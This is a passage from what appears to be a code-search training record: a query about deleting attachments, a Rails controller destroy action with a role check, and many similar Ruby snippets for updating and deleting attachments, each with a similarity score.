:content_type => mime_type})\n rescue\n STDERR.puts \"Could not update attributes on lang/locale: #{locale} and filename #{documentname}\"\n end\n end\n end\n begin\n # This may not be required, but the couchrest::model doc isn't clear if create_attachment saves the document or not.\n @thisattachment.save\n rescue\n STDERR.puts \"Could not save filename #{documentname}\"\n end\n thisfile.close\nend", "def add_attachment_to_results_section(attachment, results)\n attachments_elemnt = add_element_to_section(results,\"attachments\",attachment.to_s)\n url = @base + \"/api/v1/attachments/#{attachment[\"id\"]}.json\"\n params = {token: token, item: {element_id: attachments_elemnt[\"id\"]}}\n response = JSON.parse(RestClient.put(url,params))\nend", "def update\n respond_to do |format|\n if @pdf_attachment.update(pdf_attachment_params)\n format.html { redirect_to @pdf_attachment, notice: 'File was successfully updated.' }\n format.json { render :show, status: :ok, location: @pdf_attachment }\n else\n format.html { render :edit }\n format.json { render json: @pdf_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @boat_attachment.update(boat_attachment_params)\n format.html { redirect_to @boat_attachment, notice: 'Boat attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat_attachment }\n else\n format.html { render :edit }\n format.json { render json: @boat_attachment.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def update_attachment(name, values)\n attachment = find(name)\n if attachment\n attachment.headers.merge! values\n write_headers\n end\n end", "def update!(**args)\n @attachment_sha1 = args[:attachment_sha1] if args.key?(:attachment_sha1)\n @cosmo_id = args[:cosmo_id] if args.key?(:cosmo_id)\n @cosmo_name_space = args[:cosmo_name_space] if args.key?(:cosmo_name_space)\n @encrypted_id = args[:encrypted_id] if args.key?(:encrypted_id)\n @mime_type = args[:mime_type] if args.key?(:mime_type)\n @share_scope = args[:share_scope] if args.key?(:share_scope)\n end", "def update\n @article.thumbnail = params[:file]\n @article.save!\n json_response({ message: Message.media_created })\n end", "def add_attachments_to_existing_note(note, attachments)\n attachments.each do |attach|\n logger.debug \"Adding attachment '#{attach.file_name}' to note ID #{note.id}\"\n existing_note_attachment_input(note).when_present 1\n existing_note_attachment_input(note).send_keys Utils.asset_file_path(attach.file_name)\n existing_note_attachment_delete_button(note, attach).when_present Utils.short_wait\n sleep Utils.click_wait\n note.updated_date = Time.now\n note.attachments << attach\n end\n end", "def update\n respond_to do |format|\n if @design_image_attachment.update(design_image_attachment_params)\n format.html { redirect_to @design_image_attachment, notice: 'Design image attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @design_image_attachment }\n else\n format.html { render :edit }\n format.json { render json: @design_image_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @subject_file.update(subject_file_params)\n format.html { redirect_to @subject_file, notice: 'Subject file was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject_file }\n else\n format.html { render :edit }\n format.json { render json: @subject_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event_subscription.update(event_subscription_params)\n @event_subscription.save\n\n file_params.each do |requirement|\n if(requirement[\"doc\"])\n requirement.symbolize_keys\n requirement[:doc].symbolize_keys\n path = \"data:#{requirement[:doc][:filetype]};base64, #{requirement[:doc][:base64]}\"\n Document.update(id: requirement[:doc][:id],\n user_id: @event_subscription.user_id,\n requirement_id: requirement[:id],\n state: \"pending_review\",\n path: path\n )\n end\n end\n render json: @event_subscription, status: :updated\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update\n respond_to do |format|\n if @pub_attachment.update(pub_attachment_params)\n format.html { redirect_to root_path, notice: 'Pub attachment was successfully updated.' }\n format.js\n else\n format.html { render :edit }\n format.js\n end\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update!(**args)\n @attachment_data_ref = args[:attachment_data_ref] if args.key?(:attachment_data_ref)\n @content_name = args[:content_name] if args.key?(:content_name)\n @content_type = args[:content_type] if args.key?(:content_type)\n @download_uri = args[:download_uri] if args.key?(:download_uri)\n @drive_data_ref = args[:drive_data_ref] if args.key?(:drive_data_ref)\n @name = args[:name] if args.key?(:name)\n @source = args[:source] if args.key?(:source)\n @thumbnail_uri = args[:thumbnail_uri] if args.key?(:thumbnail_uri)\n end", "def update!(**args)\n @attachment_data_ref = args[:attachment_data_ref] if args.key?(:attachment_data_ref)\n @content_name = args[:content_name] if args.key?(:content_name)\n @content_type = args[:content_type] if args.key?(:content_type)\n @download_uri = args[:download_uri] if args.key?(:download_uri)\n @drive_data_ref = args[:drive_data_ref] if args.key?(:drive_data_ref)\n @name = args[:name] if args.key?(:name)\n @source = args[:source] if args.key?(:source)\n @thumbnail_uri = args[:thumbnail_uri] if args.key?(:thumbnail_uri)\n end", "def destroy\n @attachments = Attachment.find_by_id(params[:id])\n if @attachments.present?\n @attachments.destroy\n render :json=>{:response=>\"success\"}\n\t\tend\n end", "def attachment_edit\n c_user = current_user()\n return ( render status: 401, json: { result: \"Not Authorized\" } ) unless logged_in? # Ensure the user is logged in\n course = Course.where(id: params[:course_id]).first()\n\n # Course Not Found case\n if course.nil?\n return ( render status: 404, json: { result: \"Course Not Found\" } )\n end\n\n # Course found case\n if attach_type_params[:type] == \"Document\"\n attache = Document.where(id: params[:attach_id], attachable_id: course.id).first()\n elsif attach_type_params[:type] == \"Embed\"\n attache = Embed.where(id: params[:attach_id], attachable_id: course.id).first()\n else\n render status: 400, json: { result: \"Invalid Type\" }\n end\n\n # Attachment not found case\n if attache.nil?\n return ( render status: 404, json: { result: \"Attachable Not Found\" } )\n end\n\n # Draft Course case\n if course.visibility == Visibility.draft and course.user_id == c_user.id and attache.class != Embed\n status = update_attachable(params[:attach_id], course.id, attach_params)\n if status\n render status: 200, json: { result: attache }\n else\n render status: 400, json: { result: attache.errors }\n end\n\n # Privledged User case\n elsif c_user.role == Role.admin or c_user.role == Role.moderator\n status = update_attachable(params[:attach_id], course.id, attach_params) \n if status\n render status: 200, json: { result: attache }\n else\n render status: 400, json: { result: attache.errors }\n end\n\n # Course is not (owned by user and editable) AND (user is not privledged)\n else\n render status: 401, json: { result: \"Not Authorized\" }\n end\n end" ]
[ "0.70723903", "0.6969434", "0.69647133", "0.69444317", "0.6940061", "0.6824948", "0.6824948", "0.6770707", "0.67692095", "0.6754012", "0.67488635", "0.6722136", "0.6639801", "0.6639801", "0.66233605", "0.6618303", "0.6527931", "0.65129924", "0.65124446", "0.6439156", "0.6397283", "0.6387737", "0.6387737", "0.6385568", "0.6332543", "0.62781924", "0.62697965", "0.6253373", "0.6253059", "0.6226126", "0.62085354", "0.6192825", "0.6192825", "0.61793905", "0.6162506", "0.6148625", "0.61435074", "0.61080366", "0.6082014", "0.6078186", "0.60741305", "0.60737246", "0.60709965", "0.605416", "0.60501957", "0.60337055", "0.6021548", "0.5992908", "0.5973636", "0.5962731", "0.59579897", "0.59575427", "0.5955311", "0.5955311", "0.5955311", "0.5955311", "0.5955311", "0.5955311", "0.5955311", "0.5955311", "0.5954912", "0.59444183", "0.5929586", "0.5925387", "0.59241474", "0.5908296", "0.59079283", "0.59018534", "0.5900956", "0.58884764", "0.5879866", "0.58772796", "0.58756816", "0.58686733", "0.58679354", "0.5867066", "0.58368784", "0.5835658", "0.58310497", "0.58247787", "0.5812731", "0.58102304", "0.5793075", "0.5788195", "0.5783098", "0.57728344", "0.5766731", "0.5764316", "0.5762936", "0.5753317", "0.5736508", "0.57264537", "0.5725122", "0.5723346", "0.5720463", "0.5718344", "0.5717452", "0.5717452", "0.5711298", "0.56992376" ]
0.6488836
19
DELETE /attachments/1 DELETE /attachments/1.json
def destroy rol = Role.where(:id=>current_user.role).first if rol.nombre == "ACRM" @attachment = Attachment.find(params[:id]) @attachment.destroy else @attachment = Attachment.find(params[:id]) flash[:error] ='No tienes permiso para realizar esta accion' redirect_to "/#{@attachment.model_name}/#{@attachment.model_id}/edit/" return end if @attachment.model_id != nil respond_to do |format| format.html { redirect_to "/#{@attachment.model_name}/#{@attachment.model_id}/edit/" } format.json { head :ok } end else respond_to do |format| format.html { redirect_to :back } format.json { head :no_content } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @attachment = Attachment.find_by_name(params[:id])\n @attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to attachments_url }\n format.json { head :ok }\n end\n end", "def destroy\n @attachments = Attachment.find_by_id(params[:id])\n if @attachments.present?\n @attachments.destroy\n render :json=>{:response=>\"success\"}\n\t\tend\n end", "def destroy\n @attachment = Attachment.find(params[:id])\n @attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to attachments_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @attachment.destroy\n respond_to do |format|\n format.html { redirect_to attachments_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @attachment.destroy\n respond_to do |format|\n format.html { redirect_to attachments_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @attachment.destroy\n respond_to do |format|\n format.html { redirect_to attachments_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @message_attachment = MessageAttachment.find(params[:id])\n @message_attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to message_attachments_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @attachment.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def destroy\n @attachment = Attachment.find(params[:id])\n @attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to(attachments_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @attachment = Attachment.find(params[:id])\n @attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to(attachments_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @attachment.destroy\n respond_to do |format|\n format.html { redirect_to attachments_url, notice: 'Attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @file_upload_attachment.destroy\n respond_to do |format|\n format.html { redirect_to file_upload_attachments_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @attachment = Attachment.find(params[:id])\n #TODO: delete file from disk (folder too)\n @attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to attachments_url }\n format.js { render :nothing => true }\n format.json { render :json => true }\n end\n end", "def destroy\n @attachment_datum = AttachmentDatum.find(params[:id])\n @attachment_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to attachment_data_url }\n format.json { head :no_content }\n end\n end", "def delete\n model.delete_attachment(@path)\n end", "def destroy\n @link_attachment.destroy\n respond_to do |format|\n format.html { redirect_to link_attachments_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @attachment.detach\n head :no_content\n end", "def destroy\n @post_attachment.destroy\n respond_to do |format|\n format.html { redirect_to post_attachments_url, notice: 'Post attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @attachment.file.purge\n @attachment.destroy\n respond_to do |format|\n format.html { redirect_to lines_url, notice: 'Attachment was successfully destroyed.' }\n end\n end", "def delete\n Attachment.destroy(params[:id]) unless params[:id].blank? if request.delete?\n @attachment_count = params[:attachment_number] || 0\n end", "def destroy\n @attachment = Attachment.find(params[:id])\n @attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to(pad_attachments_path(@pad)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @attachfile.destroy\n respond_to do |format|\n format.html { redirect_to attachfiles_url, notice: 'Attachfile was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @cms_attachment.destroy\n respond_to do |format|\n format.html { redirect_to cms_attachments_url, notice: 'Attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @cms_attachment.destroy\n respond_to do |format|\n format.html { redirect_to cms_attachments_url, notice: 'Attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @pattachment = Pattachment.find(params[:id])\n @pattachment.destroy\n\n respond_to do |format|\n format.html { redirect_to pattachments_url }\n format.json { head :no_content }\n end\n end", "def destroy_attachment\n a = Attachment.find(1) rescue nil\n if !a.nil?\n a.destroy\n end\n end", "def destroy\n @attachment = Attachment.find(params[:id])\n @attachment.destroy\n flash[:notice] = 'attachment was successfully destroyed.'.t\n respond_to do |format|\n format.html { redirect_to page_attachments_url }\n format.xml { head :ok }\n end\n end", "def destroy\n @note_attachment.destroy\n respond_to do |format|\n format.html { redirect_to note_attachments_url, notice: 'Note attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @incidentattachment.destroy\n respond_to do |format|\n format.html { redirect_to incidentattachments_url, notice: 'Incidentattachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @travel_post_attachment.destroy\n respond_to do |format|\n format.html { redirect_to travel_post_attachments_url, notice: 'Travel post attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @attachment.destroy\n respond_to do |format|\n format.js {}\n end\n\n end", "def destroy\n @order_attachment.destroy\n respond_to do |format|\n format.html { redirect_to order_attachments_url, notice: 'Order attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @event_attachment.destroy\n respond_to do |format|\n format.html { redirect_to event_attachments_url, notice: 'Event attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @pdf_attachment.destroy\n respond_to do |format|\n format.html { redirect_to pdf_attachments_url, notice: 'File was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @attached_asset = AttachedAsset.find(params[:id])\n @attached_asset.destroy\n\n respond_to do |format|\n format.html { redirect_to attached_assets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @submission_detail.attachment = nil\n @submission_detail.destroy\n respond_to do |format|\n format.html { redirect_to submissions_url, notice: 'Document was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_attachment.destroy\n respond_to do |format|\n format.html { \n flash[:notice] = 'Your image was successfully deleted.'\n redirect_to :back\n }\n format.json { head :no_content }\n end\n end", "def destroy\n @boat_attachment.destroy\n respond_to do |format|\n format.html { redirect_to boat_attachments_url, notice: 'Boat attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @friends_attachment.destroy\n respond_to do |format|\n format.html { redirect_to friends_attachments_url, notice: \"Friends attachment was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n Attachment.find(@equip_person.id_attachment).destroy\n @equip_person.destroy\n respond_to do |format|\n format.html { redirect_to equip_people_url, notice: 'Le membre de l\\'équipe a bien été retiré.' }\n format.json { head :no_content }\n end\n end", "def delete_attachment(name,id)\n delete_attachment_queue[name] = id if id.is_a?(BSON::ObjectId)\n write_attribute(\"#{name}_id\", nil)\n write_attribute(\"#{name}_name\", nil)\n write_attribute(\"#{name}_size\", nil)\n write_attribute(\"#{name}_type\", nil)\n end", "def destroy\n \n @attachment = Attachment.find(params[:attachment_id])\n @attachment.destroy\n Keys.where(attachment_id: @attachment.id).destroy_all\n GetModel(params[:type]).where(file_id: @attachment.id).destroy_all\n \n respond_to do |format| \n format.html { redirect_to '/imports/'+params[:profile_id].to_s+'/csv/'+params[:type].to_s,notice: 'File has been deleted!' }\n end\n \n end", "def delete_attachment(attachable:)\n raw_response = connection.post do |request|\n request.url \"#{realm_id}/attachable?operation=delete\"\n request.body = attachable.to_json\n end\n\n response(raw_response, entity: :attachable)\n end", "def destroy\n @subject_file.destroy\n respond_to do |format|\n format.html { redirect_to subject_files_path(:subject => \"all\"), notice: 'Subject file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @file_attachment = FileAttachment.find(params[:id])\n @test_case = @file_attachment.test_case\n @file_attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to(@test_case || file_attachments_path) }\n format.xml { head :ok }\n end\n end", "def delete_image_attachment\n @image = ActiveStorage::Attachment.find(params[:id])\n @image.purge\n redirect_back(fallback_location: items_path)\n end", "def destroy\n @attachinaryfile.destroy\n respond_to do |format|\n format.html { redirect_to attachinaryfiles_url, notice: 'Attachinaryfile was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @design_image_attachment.destroy\n respond_to do |format|\n format.html { redirect_to design_image_attachments_url, notice: 'Design image attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gallery_attachment.destroy\n respond_to do |format|\n format.html { redirect_to gallery_attachments_url, notice: 'Gallery attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n attachable_id = attachable.try(:id) || attachable\n response = api.delete(\n \"user/#{api.user_name}/\" \\\n \"realestate/#{attachable_id}/\" \\\n \"attachment/#{id}\"\n )\n handle_response(response)\n self\n end", "def delete_attachment(id, name)\n unless @model = model_class.get(id)\n flash[:error] = \"No such #{model_class.to_s.downcase} (#{h id}) exists.\"\n redirect rs()\n end\n\n # You need to be able to edit the model before removing attachments!\n for_auth do |u|\n u.can_edit? @model\n end\n\n unless attachment = @model.attachment(name)\n flash[:error] = \"No such attachment (#{h name}) exists.\"\n redirect @model.url\n end\n\n begin\n attachment.delete\n flash[:notice] = \"Deleted attachment #{h name}.\"\n rescue => e\n flash[:error] = \"Couldn't delete attachment #{h name}: #{h e.message}.\"\n end\n\n redirect @model.url\n end", "def destroy\n @teacher_attachment.destroy\n respond_to do |format|\n format.html { redirect_to teacher_attachments_url, notice: 'Teacher attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @embedded_attachment.destroy\n respond_to do |format|\n format.html { redirect_to embedded_attachments_url, notice: 'Video was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @attached = Attached.find(params[:id])\n @event = Event.find(@attached.event_id)\n @attached.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/manage_attached/\" + @event.id.to_s }\n format.json { head :no_content }\n end\n end", "def destroy\n puts \"------------------------\"\n document_item = ActiveStorage::Attachment.find(@document.doc.id)\n p document_item.purge\n puts \"------------------------\"\n\n @document.destroy\n respond_to do |format|\n\n\n\n\n format.html { redirect_to property_property_unit_documents_path(@property, @property_unit), notice: 'Dokumentet ble slettet.' }\n format.json { head :no_content }\n end\n end", "def delete(container_name, file_name)\n validate_path_elements(container_name, file_name)\n\n client.request(\n method: :delete,\n path: \"#{container_name}/#{file_name}\",\n expected: 204\n )\n end", "def delete(path = '/files/', params = {})\n request :delete, path, params\n end", "def destroy_unsaved_attachments\n @client_side_timestamp = params[:client_side_timestamp]\n @filename = params[:filename]\n @cas_user = session[:cas_user]\n\n RecordAttachment.where(:client_side_timestamp => @client_side_timestamp, \n :filename => @filename, :cas_user_name => @cas_user).destroy_all\n render :nothing => true\n end", "def destroy\n query = \"created_by = \\\"#{current_user.email}\\\"\"\n @photo = Photo.where(query).with_attached_images.find(params[:id])\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_path, notice: 'Destroyed successfully.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @battle_attachment.destroy\n respond_to do |format|\n format.html { redirect_to battle_attachments_url, notice: 'Battle attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bulletin_file = BulletinFile.find(params[:id])\n @bulletin_file.destroy\n\n respond_to do |format|\n format.html { redirect_to bulletin_files_url }\n format.json { head :no_content }\n end\n end", "def delete_file(file)\n delete_attachment(file)\n end", "def destroy\n @product_attachment.destroy\n respond_to do |format|\n format.html { redirect_to product_attachments_url, notice: 'Product attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.images.purge if @article.images.attached?\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: '記事を削除しました。' }\n format.json { head :no_content }\n end\n end", "def delete_attachments\n delete_attachment_queue.each {|k,v| delete_grid_attachment(k,v)}\n end", "def destroy\n @property_attachment.destroy\n respond_to do |format|\n format.html { redirect_to property_attachments_url, notice: \"Property attachment was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @kf_course_knowledge_attachment = Kf::CourseKnowledgeAttachment.find(params[:id])\n @kf_course_knowledge_attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to kf_course_knowledge_attachments_url({:page => params[:page]}) }\n format.json { head :no_content }\n end\n end", "def destroy\n @action_file = ActionFile.find(params[:id])\n @action_file.destroy\n\n respond_to do |format|\n format.html { redirect_to action_files_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @v1_message = V1::Message.find(params[:id])\n @v1_message.destroy\n\n head :no_content\n end", "def destroy\n @file.destroy\n respond_to do |format|\n format.html { render text: 'created', layout: false, status: :created }\n format.json { head :no_content }\n end\n end", "def destroy\n @product_attachment_file.destroy\n respond_to do |format|\n format.html { redirect_to product_attachment_files_url, notice: 'Product attachment file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @pin_attachment.destroy\n respond_to do |format|\n format.html { redirect_to pin_attachments_url, notice: 'Pin attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_grid_attachment(name,id)\n grid.delete(id) if id.is_a?(BSON::ObjectId)\n delete_attachment_queue.delete(name)\n end", "def destroy\n @pub_attachment.destroy\n respond_to do |format|\n format.js { head :ok, notice: 'Anexo excluído com sucesso.' }\n end\n end", "def destroy\n @work_order_attachment.destroy\n respond_to do |format|\n format.html { redirect_to work_order_attachments_url, notice: 'Work order attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @testfile.destroy\n respond_to do |format|\n format.html { redirect_to materials_path }\n format.json { head :no_content }\n end\n end", "def delete\n item = FormImage.last\n id = item[:id]\n item.destroy\n render json: {id: id}\n end", "def destroy\n @job_application_attachment = JobApplicationAttachment.find(params[:id])\n @job_application_attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to(job_application_attachments_url) }\n format.xml { head :ok }\n end\n end", "def delete_media_by_id id\r\n # the base uri for api requests\r\n query_builder = Configuration.BASE_URI.dup\r\n\r\n # prepare query string for API call\r\n query_builder << \"/media/{id}\"\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n \"id\" => id,\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n \"user-agent\" => \"APIMATIC 2.0\",\r\n \"accept\" => \"application/json\",\r\n \"Content-Type\" => Configuration.content_type\r\n }\r\n\r\n # append custom auth authorization\r\n CustomAuthUtility.append_custom_auth_params headers\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.delete query_url, headers:headers\r\n\r\n #Error handling using HTTP status codes\r\n if !(response.code.between?(200,206)) # [200,206] = HTTP OK\r\n raise APIException.new \"HTTP Response Not OK\", response.code, response.raw_body\r\n else \r\n puts \"Media ID Deleted\"\r\n end\r\n\r\n response.body\r\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @paperclip_client = PaperclipClient.find(params[:id])\n @client = @paperclip_client\n @paperclip_client.destroy\n\n respond_to do |format|\n format.html { redirect_to(paperclip_clients_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to uploads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @school_attachment.destroy\n respond_to do |format|\n format.html { redirect_to school_attachments_url, notice: 'School attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def remove_attachments_from_existing_note(note, attachments)\n attachments.each do |attach|\n logger.info \"Removing attachment '#{attach.file_name}' from note ID #{note.id}\"\n wait_for_update_and_click existing_note_attachment_delete_button(note, attach)\n confirm_delete\n existing_note_attachment_delete_button(note, attach).when_not_visible Utils.short_wait\n note.attachments.delete attach\n attach.deleted_at = Time.now\n note.updated_date = Time.now\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @center_attachment.destroy\n respond_to do |format|\n format.html { redirect_to center_attachments_url, notice: 'Center attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @post_file.destroy\n respond_to do |format|\n format.html { redirect_to post_files_url, notice: 'Post file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy_attachment(resource_id, attachment_id)\n http.delete(\"#{attachment_endpoint(resource_id)}/#{attachment_id}\") do |response|\n true\n end\n end", "def destroy\n @avatar.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete_attachment(message_id, slot)\n @api.delete(\"#{@api.path}/List/#{@id}/Email/#{message_id}/#{slot}\")\n end", "def destroy\n @photo1 = Photo1.find(params[:id])\n @photo1.destroy\n\n respond_to do |format|\n format.html { redirect_to photo1s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to uploads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @filename.destroy\n respond_to do |format|\n format.html { redirect_to filenames_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @digital_content_file = DigitalContentFile.find(params[:id])\n @digital_content_file.destroy\n\n respond_to do |format|\n format.html { redirect_to digital_content_files_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @stock_attachment.destroy\n respond_to do |format|\n format.html { redirect_to stock_attachments_url, notice: 'Stock attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @inventory_file.destroy\n\n respond_to do |format|\n format.html { redirect_to inventory_files_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @inventory_file.destroy\n\n respond_to do |format|\n format.html { redirect_to inventory_files_url }\n format.json { head :no_content }\n end\n end", "def delete(id)\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n if id.is_a? Array then\n id = id.join(',')\n end\n\n make_post_call('/files/delete?file_ids=%s' % [id]).status == \"OK\"\n end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def destroy\n @incidentfile.destroy\n respond_to do |format|\n format.html { redirect_to incidentfiles_url, notice: 'Incidentfile was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @upload = @upload = Upload.find_by(id: params[:id], user_id: current_or_guest_user.id)\n @file = ActiveStorage::Attachment.find(params[:file])\n @file&.purge\n @upload.destroy unless @upload.files.present?\n flash[:success] = 'File Deleted Successful!'\n redirect_to root_path\n rescue StandardError => error\n flash[:danger] = 'File Does Not Exist!'\n flash[:error] = error.message\n redirect_to root_path\n end" ]
[ "0.7916768", "0.7911838", "0.784848", "0.78034145", "0.78034145", "0.78034145", "0.7649128", "0.75554717", "0.7527234", "0.7527234", "0.75029725", "0.7485045", "0.74720657", "0.74386334", "0.7388286", "0.7363958", "0.7326456", "0.7315792", "0.7279625", "0.72642744", "0.7230741", "0.7230239", "0.72173625", "0.72173625", "0.72159725", "0.72104275", "0.7203803", "0.7171836", "0.71620494", "0.70950097", "0.7078152", "0.7038463", "0.7038292", "0.70298874", "0.7026244", "0.7021144", "0.70001", "0.6985418", "0.6985232", "0.69820625", "0.69516647", "0.69408166", "0.6938284", "0.69028336", "0.690203", "0.68984497", "0.6893195", "0.6875433", "0.6868366", "0.68665016", "0.6864238", "0.68450916", "0.6839736", "0.6835394", "0.6835306", "0.6775595", "0.67704135", "0.67643327", "0.6750694", "0.6731315", "0.6723162", "0.67060244", "0.6705859", "0.67054975", "0.66955775", "0.6689574", "0.6684628", "0.66819113", "0.66802603", "0.66733366", "0.66705745", "0.66690856", "0.66319644", "0.6623788", "0.6623047", "0.66180825", "0.66142255", "0.6583223", "0.6574494", "0.6573987", "0.6568634", "0.6566396", "0.6565328", "0.6550341", "0.6538532", "0.6536058", "0.6535047", "0.6533978", "0.65137213", "0.6508125", "0.6507663", "0.65053314", "0.65005094", "0.64936996", "0.64934886", "0.64859045", "0.64859045", "0.64836663", "0.64747584", "0.64675426", "0.64662915" ]
0.0
-1
this method is only here until my patch to add it to holygrail is accepted TODO: consider not requiring holygrail
def js_dom # force holygrail to set @__page js('true') unless @__page HTML::Document.new(@__page.to_html, false, true).root end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def private; end", "def schubert; end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def probers; end", "def refutal()\n end", "def jack_handey; end", "def implementation; end", "def implementation; end", "def suivre; end", "def weber; end", "def mitch_hedberg; end", "def conscientious_require; end", "def strategy; end", "def intensifier; end", "def internal; end", "def custom; end", "def custom; end", "def rossini; end", "def anchored; end", "def gounod; end", "def scientist; end", "def placebo?; false end", "def terpene; end", "def berlioz; end", "def invention; end", "def used?; end", "def strain; end", "def feruchemist; end", "def missing; end", "def isolated; end", "def isolated; end", "def internship_passed; end", "def blg; end", "def villian; end", "def hiss; end", "def internal?; end", "def formation; end", "def appraisals; end", "def appraisals; end", "def cobasysprog\n end", "def external; end", "def missing?; end", "def wrapper; end", "def ygg_attacker() ; return nil ; end", "def bellini; end", "def silly_adjective; end", "def sitemaps; end", "def celebration; end", "def requirements; end", "def requirements; end", "def requirements; end", "def requirements; end", "def herald; end", "def spec; end", "def spec; end", "def nasa_space_craft; end", "def fallbacks; end", "def fallbacks; end", "def init; end", "def init; end", "def init; end", "def init; end", "def one_gradable_ex_only\n end", "def private_method\n end", "def who_we_are\r\n end", "def hamlet; end", "def macro; raise NotImplementedError; end", "def macro; raise NotImplementedError; end", "def macro; raise NotImplementedError; end", "def zuruecksetzen()\n end", "def extra; end", "def romeo_and_juliet; end", "def surge; end", "def in_law; end", "def ibu; end", "def verdi; end", "def ignores; end", "def identify; end", "def ext; end", "def ext; end", "def usable?; end", "def overrides; end", "def sharp; accidental; end", 